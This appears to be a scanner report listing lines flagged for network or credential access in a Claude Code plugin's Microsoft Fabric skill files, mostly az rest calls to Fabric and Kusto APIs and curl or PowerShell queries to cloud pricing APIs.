harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/SKILL.md
- Network accessline 36
|---|---|---| | Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — resolve workspace/item IDs by name via li - Network accessline 37
| Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — resolve workspace/item IDs by name via list + JMESPath - Network accessline 38
| Authentication & Token Acquisition | [COMMON-CORE.md § Authentication & Token Acquisition](../../common/COMMON-CORE.md#authentication--token-acquisition) | Token audience must be `https://api.fabric.microsoft.com`; wrong audience = 401 | - Network accessline 39
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Pla - Network accessline 40
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** | - Network accessline 78
### MUST DO - Resolve pipeline, stage, and workspace **IDs by name** via list + JMESPath before any mutating call. Never fabricate GUIDs. - Target the correct base URL: `https://api.fabric.microsoft.com/v1/deploymentPipelines` and acquire a - Network accessline 79
- Resolve pipeline, stage, and workspace **IDs by name** via list + JMESPath before any mutating call. Never fabricate GUIDs. - Target the correct base URL: `https://api.fabric.microsoft.com/v1/deploymentPipelines` and acquire a token for t - Network accessline 80
- Target the correct base URL: `https://api.fabric.microsoft.com/v1/deploymentPipelines` and acquire a token for the `https://api.fabric.microsoft.com` audience. - Network accessline 114
Base: `https://api.fabric.microsoft.com/v1`. Delegated scopes are **per operation** — provision a service - Network accessline 246
- **The operation ID is returned in the `x-ms-operation-id` response header** (alongside `Location`), not the `202` body. `az rest` does not surface response headers cleanly — for reliable header capture in automation, issue the deploy - Network accessline 247
`202` body. `az rest` does not surface response headers cleanly — for reliable header capture in automation, issue the deploy with `curl -i` (or Python `requests`) and parse the header, then poll `/v1/operations/{operationId}` with `az - Network accessline 248
issue the deploy with `curl -i` (or Python `requests`) and parse the header, then poll - Network accessline 266
# Idempotent: delete an existing "Sales Analytics ALM" if present, then create. EXISTING=$(az rest --method GET --resource https://api.fabric.microsoft.com \ - Network accessline 267
EXISTING=$(az rest --method GET --resource https://api.fabric.microsoft.com \ - Network accessline 268
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines" \ - Network accessline 269
--query "value[?displayName=='Sales Analytics ALM'].id | [0]" --output tsv) if [ -n "$EXISTING" ]; then az rest --method DELETE --resource https://api.fabric.microsoft.com \ - Network accessline 271
az rest --method DELETE --resource https://api.fabric.microsoft.com \ - Network accessline 272
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$EXISTING" - Network accessline 285
EOF az rest --method POST \ --resource https://api.fabric.microsoft.com \ - Network accessline 286
az rest --method POST --resource https://api.fabric.microsoft.com - Network accessline 287
--resource https://api.fabric.microsoft.com \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines" \ - Network accessline 295
# $PIPELINE_ID and $DEV_STAGE_ID resolved via list + JMESPath; $WS_ID resolved from workspace name. az rest --method POST \ --resource https://api.fabric.microsoft.com \ - Network accessline 296
az rest --method POST --resource https://api.fabric.microsoft.com - Network accessline 297
--resource https://api.fabric.microsoft.com \ - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/stages/$DEV_STAGE_ID/assignWorkspace" \ - Network accessline 305
# Kick off the deployment (returns 202 + an operation id header). az rest --method POST \ --resource https://api.fabric.microsoft.com \ - Network accessline 306
az rest --method POST --resource https://api.fabric.microsoft.com - Network accessline 307
--resource https://api.fabric.microsoft.com \ - Network accessline 308
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/deploy" \ - Network accessline 318
az rest --method POST \ --resource https://api.fabric.microsoft.com \ - Network accessline 319
--resource https://api.fabric.microsoft.com \ - Network accessline 320
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/deploy" \ - Network accessline 336
# and its paired targetItemId (absent = new/unpaired). There is NO timestamp or # change-status field, so "changed" must be detected from item definitions. az rest --method GET --resource https://api.fabric.microsoft.com \ - Network accessline 337
# change-status field, so "changed" must be detected from item definitions. az rest --method GET --resource https://api.fabric.microsoft.com \ --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/stages/$SOURCE_S - Network accessline 338
az rest --method GET --resource https://api.fabric.microsoft.com \ - Network accessline 339
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/stages/$SOURCE_STAGE_ID/items" \ - Network accessline 361
# 4. Selective deploy of just the changed set. az rest --method POST --resource https://api.fabric.microsoft.com \ - Network accessline 362
az rest --method POST --resource https://api.fabric.microsoft.com \ - Network accessline 363
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/deploy" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/references/scripts/diff_item_definitions.py
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/references/supported-item-types.md
- Network accessline 7
- **Canonical source (source of truth):** [Introduction to deployment pipelines § Supported items](https://learn.microsoft.com/fabric/cicd/deployment-pipelines/intro-to-deployment-pipelines#supported-items) on Microsoft Learn. Reconcile t - Network accessline 16
> **Retirement note:** Beginning **February 12, 2026**, deployment pipelines retire > support for semantic models that have **not** been upgraded to Enhanced Metadata. > See [Retirement of semantic model support](https://learn.microsoft.com - Network accessline 18
> See [Retirement of semantic model support](https://learn.microsoft.com/fabric/cicd/troubleshoot-cicd#retirement-of-semantic-model-support-for-deployment-pipelines).
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-fabric-cost-estimation/SKILL.md
- Network accessline 26
> **🔴 MANDATORY LIVE-PRICING FETCH — whenever your answer contains a dollar figure.** > Before presenting **any** dollar amount, cost, break-even point, billing-mode comparison, RI-vs-PAYG analysis, migration cost, or cost worksheet, you ** - Network accessline 27
> Before presenting **any** dollar amount, cost, break-even point, billing-mode comparison, RI-vs-PAYG analysis, migration cost, or cost worksheet, you **must** run a shell command (`bash`/`powershell`) that calls the Azure Retail Prices AP - Network accessline 87
If the customer already has a Fabric capacity, get its region, SKU, and state from the core Fabric REST API — `GET https://api.fabric.microsoft.com/v1/capacities` returns `region`, `sku`, and `state` per capacity. Azure Resource Manager (`a - Network accessline 96
curl -s "https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview&\$filter=serviceName%20eq%20'Microsoft%20Fabric'%20and%20armRegionName%20eq%20'<region>'" | jq '.Items[] | {meterName, retailPrice, unitOfMeasure, type, rese - Network accessline 128
> **IMPORTANT**: If the API is unreachable, inform the user and direct them to the [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/). Never fall back to hardcoded prices — they go stale. - Network accessline 148
> **Documented conversion**: **1 Fabric CU = 2 Spark vCores** ([Fabric Spark concurrency limits](https://learn.microsoft.com/en-us/fabric/data-engineering/spark-job-concurrency-and-queueing)). So a node's CU equivalent is `vCores ÷ 2`. The - Network accessline 387
curl -s "https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview&\$filter=serviceName%20eq%20'Microsoft%20Fabric'%20and%20armRegionName%20eq%20'<region>'%20and%20meterName%20eq%20'autoscale%20for%20Spark%20Capacity%20Usage
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-fabric-cost-estimation/resources/pricing-api-reference.md
- Network accessline 11
**Base URL**: `https://prices.azure.com/api/retail/prices` - Network accessline 47
$allItems = @() $url = "https://prices.azure.com/api/retail/prices?`$filter=serviceName eq 'Microsoft Fabric'" - Network accessline 48
$url = "https://prices.azure.com/api/retail/prices?`$filter=serviceName eq 'Microsoft Fabric'" - Network accessline 86
$filter = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region' and meterName eq 'OneLake Storage $tier Data Stored'" $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter= - Network accessline 87
$encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" $storagePrice = (Invoke-RestMethod -Uri $url -MaximumRetryCount 3 -RetryIntervalSec 5).Items | - Network accessline 88
$url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" - Network accessline 93
Write-Warning "No row for tier '$tier' in $region — listing all OneLake storage meters:" $f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'" $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDa - Network accessline 94
$f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'" $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))" (Invoke-RestMethod -Uri $u -MaximumRetryCount 3 -RetryIntervalSec 5).Items - Network accessline 95
$u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))" - Network accessline 107
$filter = "serviceName eq 'Bandwidth' and armRegionName eq '$region' and meterName eq 'Standard Data Transfer Out'" $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter - Network accessline 108
$encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" $egressItems = (Invoke-RestMethod -Uri $url).Items | - Network accessline 109
$url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" - Network accessline 119
$filter = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region' and meterName eq 'autoscale for Spark Capacity Usage CU'" $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$fil - Network accessline 120
$encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" $sparkRate = (Invoke-RestMethod -Uri $url -MaximumRetryCount 3 -RetryIntervalSec 5).Items | - Network accessline 121
$url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" - Network accessline 126
Write-Warning "No autoscale Spark meter for $region — listing all Fabric Spark/capacity meters:" $f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'" $u = "https://prices.azure.com/api/retail/prices?`$filter=$([ur - Network accessline 127
$f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'" $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))" (Invoke-RestMethod -Uri $u -MaximumRetryCount 3 -RetryIntervalSec 5).I - Network accessline 128
$u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))" - Network accessline 141
**Base URL**: `https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.CostManagement/query` - Network accessline 143
**Auth**: See [COMMON-CLI.md](../../../common/COMMON-CLI.md) — use `az rest` with `--resource https://management.azure.com` - Network accessline 240
# 3. Submit query az rest --method post ` --url "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.CostManagement/query?api-version=2025-03-01" ` - Network accessline 241
az rest --method post --url "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.CostManagement/query?api-version=2025-03-01" - Network accessline 242
--url "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.CostManagement/query?api-version=2025-03-01" ` - Network accessline 261
# https://learn.microsoft.com/en-us/rest/api/fabric/core/capacities/list-capacities - Network accessline 262
az rest --method get --resource https://api.fabric.microsoft.com ` - Network accessline 263
--url "https://api.fabric.microsoft.com/v1/capacities" ` - Network accessline 275
**Fabric Admin API (tenant-wide inventory / admin-only operations)** - Base URL: `https://api.fabric.microsoft.com/v1/admin/capacities` - Network accessline 276
- Base URL: `https://api.fabric.microsoft.com/v1/admin/capacities` - Network accessline 277
- Auth: See [COMMON-CLI.md](../../../common/COMMON-CLI.md) — use `az rest` with `--resource https://api.fabric.microsoft.com` - Network accessline 308
> **⚠<U+FE0F> Unvalidated heuristics**: These are community-derived approximations, not officially published Microsoft equivalences. The Power BI P-SKU → CU mapping is based on the [published Fabric capacity equivalents](https://learn.microsoft.co - Network accessline 329
| **Azure** (Synapse, HDInsight, Azure Databricks infra, Power BI) | Azure Retail Prices API — anonymous (§1) | Azure Cost Management API (§2) | | **AWS** (Redshift, EMR, EC2, S3) | AWS Price List **Bulk** API — anonymous; or **Query** API - Network accessline 330
| **AWS** (Redshift, EMR, EC2, S3) | AWS Price List **Bulk** API — anonymous; or **Query** API (creds) | AWS Cost Explorer / Cost & Usage Report | | **Databricks** (any cloud — DBU) | **No public price API** — DBU list prices on the [Databr - Network accessline 331
| **Databricks** (any cloud — DBU) | **No public price API** — DBU list prices on the [Databricks pricing page](https://www.databricks.com/product/pricing) | `system.billing.usage` joined with `system.billing.list_prices` (Unity Catalog sys - Network accessline 339
# 1. Service offer index (lists every service offer file) GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/index.json - Network accessline 340
GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/index.json - Network accessline 342
# 2. Current price file for a specific service (e.g., Redshift, EMR, EC2) GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonRedshift/current/index.json - Network accessline 343
GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonRedshift/current/index.json - Network accessline 360
# List billable services to find a service ID (e.g., BigQuery, Dataproc) GET https://cloudbilling.googleapis.com/v1/services?key=<API_KEY> - Network accessline 361
[Credential-related source omitted] - Access to secretsline 361
[Credential-related source omitted] - Network accessline 363
# List SKUs (unit prices) for a service GET https://cloudbilling.googleapis.com/v1/services/{serviceId}/skus?key=<API_KEY> - Network accessline 364
[Credential-related source omitted] - Access to secretsline 364
[Credential-related source omitted]
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-medallion-architecture/SKILL.md
- Network accessline 177
- **OneLake Shortcut** — for data already in Azure ADLS Gen2, S3, or another OneLake location - **`notebookutils.fs`** — copy from mounted storage paths within a notebook - ⚠<U+FE0F> **Fabric Spark cannot read from arbitrary HTTP/HTTPS URLs* - Network accessline 178
- **`notebookutils.fs`** — copy from mounted storage paths within a notebook - ⚠<U+FE0F> **Fabric Spark cannot read from arbitrary HTTP/HTTPS URLs** — `spark.read.format("csv").load("https://...")` will fail 2. **Read from lakehouse path**: Onc - Network accessline 179
- ⚠<U+FE0F> **Fabric Spark cannot read from arbitrary HTTP/HTTPS URLs** — `spark.read.format("csv").load("https://...")` will fail - Network accessline 320
{"displayName": "sales-analytics-dev"} EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 321
EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 322
workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 323
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 328
{"displayName": "sales_bronze", "type": "Lakehouse"} EOF az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 329
EOF az rest --method post --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \ - Network accessline 330
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 331
--url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/references/authoring.md
- Network accessline 29
| Tool Selection Rationale | [COMMON-CLI.md § Tool Selection Rationale](../../../common/COMMON-CLI.md#tool-selection-rationale) | | | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentica - Network accessline 30
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control- - Network accessline 31
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res - Network accessline 87
WS_ID="<workspace-id>" az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \ - Network accessline 88
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" - Network accessline 89
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \ - Network accessline 90
--resource "https://api.fabric.microsoft.com" \ - Network accessline 101
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 102
--url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 103
--resource "https://kusto.kusto.windows.net" \ - Network accessline 136
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 137
--url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 138
--resource "https://kusto.kusto.windows.net" \ - Network accessline 199
cat > /tmp/kql_body.json << EOF {"db":"${DB}","csl":".ingest into table Events (h'https://mystorage.blob.core.windows.net/data/events.csv.gz;impersonate') with (format='csv', ingestionMappingReference='EventsCsvMapping', ignoreFirstRecord=t - Network accessline 200
{"db":"${DB}","csl":".ingest into table Events (h'https://mystorage.blob.core.windows.net/data/events.csv.gz;impersonate') with (format='csv', ingestionMappingReference='EventsCsvMapping', ignoreFirstRecord=true)"} - Network accessline 330
az rest --method POST --url "${CLUSTER_URI}/v1/rest/mgmt" --resource "https://kusto.kusto.windows.net" - Network accessline 332
--resource "https://kusto.kusto.windows.net" \ - Network accessline 345
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 346
--url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 347
--resource "https://kusto.kusto.windows.net" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/references/authoring/authoring-script-templates.md
- Network accessline 22
az rest --method POST --url "${CLUSTER_URI}/v1/rest/mgmt" --resource "https://kusto.kusto.windows.net" - Network accessline 24
--resource "https://kusto.kusto.windows.net" \ - Network accessline 49
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 50
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 51
--resource "https://kusto.kusto.windows.net" \ - Network accessline 77
az rest --method POST --url "${CLUSTER_URI}/v1/rest/mgmt" --resource "https://kusto.kusto.windows.net" - Network accessline 79
--resource "https://kusto.kusto.windows.net" \ - Network accessline 89
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 90
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 91
--resource "https://kusto.kusto.windows.net" \ - Network accessline 99
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 100
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 101
--resource "https://kusto.kusto.windows.net" \ - Network accessline 109
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 110
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 111
--resource "https://kusto.kusto.windows.net" \ - Network accessline 135
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 136
--url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 137
--resource "https://kusto.kusto.windows.net" \ - Network accessline 162
az rest --method POST --url "${CLUSTER_URI}/v1/rest/mgmt" --resource "https://kusto.kusto.windows.net" - Network accessline 164
--resource "https://kusto.kusto.windows.net" \ - Network accessline 180
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 181
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 182
--resource "https://kusto.kusto.windows.net" \ - Network accessline 190
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 191
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 192
--resource "https://kusto.kusto.windows.net" \ - Network accessline 216
az rest --method POST --url "$ClusterUri/v1/rest/mgmt" --resource "https://kusto.kusto.windows.net" - Network accessline 218
--resource "https://kusto.kusto.windows.net" ` - Network accessline 236
az rest --method POST ` --url "$ClusterUri/v1/rest/query" ` --resource "https://kusto.kusto.windows.net" ` - Network accessline 237
--url "$ClusterUri/v1/rest/query" ` --resource "https://kusto.kusto.windows.net" ` --headers "Content-Type=application/json" ` - Network accessline 238
--resource "https://kusto.kusto.windows.net" ` - Network accessline 258
az rest --method POST --url "$ClusterUri/v1/rest/mgmt" --resource "https://kusto.kusto.windows.net" - Network accessline 260
--resource "https://kusto.kusto.windows.net" ` - Network accessline 272
az rest --method POST --url "$ClusterUri/v1/rest/query" --resource "https://kusto.kusto.windows.net" - Network accessline 274
--resource "https://kusto.kusto.windows.net" `
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/references/consumption.md
- Network accessline 28
| Tool Selection Rationale | [COMMON-CLI.md § Tool Selection Rationale](../../../common/COMMON-CLI.md#tool-selection-rationale) | | | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentica - Network accessline 29
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control- - Network accessline 30
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res - Network accessline 76
# Get workspace ID (if not known) WS_ID=$(az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 77
WS_ID=$(az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 78
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 82
# List KQL Databases and get connection properties az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \ - Network accessline 83
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" - Network accessline 84
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \ - Network accessline 85
--resource "https://api.fabric.microsoft.com" \ - Network accessline 109
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 110
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 111
--resource "https://kusto.kusto.windows.net" \ - Network accessline 161
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 162
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 163
--resource "https://kusto.kusto.windows.net" \ - Network accessline 177
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 178
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 179
--resource "https://kusto.kusto.windows.net" \ - Network accessline 189
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 190
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 191
--resource "https://kusto.kusto.windows.net" \ - Network accessline 247
| Symptom | Fix | |---|---| | `az rest` auth fails | Run `az login` first; ensure `--resource "https://kusto.kusto.windows.net"` is set | - Network accessline 248
|---|---| | `az rest` auth fails | Run `az login` first; ensure `--resource "https://kusto.kusto.windows.net"` is set | | Empty results on valid table | Check database context; may need `database("name").table` | - Network accessline 249
| `az rest` auth fails | Run `az login` first; ensure `--resource "https://kusto.kusto.windows.net"` is set | - Network accessline 271
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 272
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 273
--resource "https://kusto.kusto.windows.net" \ - Network accessline 282
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 283
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 284
--resource "https://kusto.kusto.windows.net" \ - Network accessline 293
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 294
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 295
--resource "https://kusto.kusto.windows.net" \ - Network accessline 332
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 333
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 334
--resource "https://kusto.kusto.windows.net" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventschemaset-cli/references/authoring.md
- Network accessline 65
Create a new Event Schema Set with the [Create Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/create-event-schema-set) - Network accessline 66
[Create Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/create-event-schema-set) - Network accessline 78
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 79
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 80
--resource "https://api.fabric.microsoft.com" \ - Network accessline 94
PAYLOAD=$(printf '%s' "$DEF_JSON" | base64 -w0) # macOS: base64 | tr -d '\n' az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 95
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" - Network accessline 96
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 97
--resource "https://api.fabric.microsoft.com" \ - Network accessline 111
Change an existing item's `displayName` or `description` with the [Update Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set) - Network accessline 112
[Update Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set) - Network accessline 118
az rest --method PATCH \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \ - Network accessline 119
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \ - Network accessline 120
--resource "https://api.fabric.microsoft.com" \ - Network accessline 132
Override the item's definition — its full `eventTypes` and `schemas` — with the [Update Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set-definition) - Network accessline 133
[Update Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set-definition) - Network accessline 161
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/updateDefinition" \ - Network accessline 162
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/updateDefinition" \ - Network accessline 163
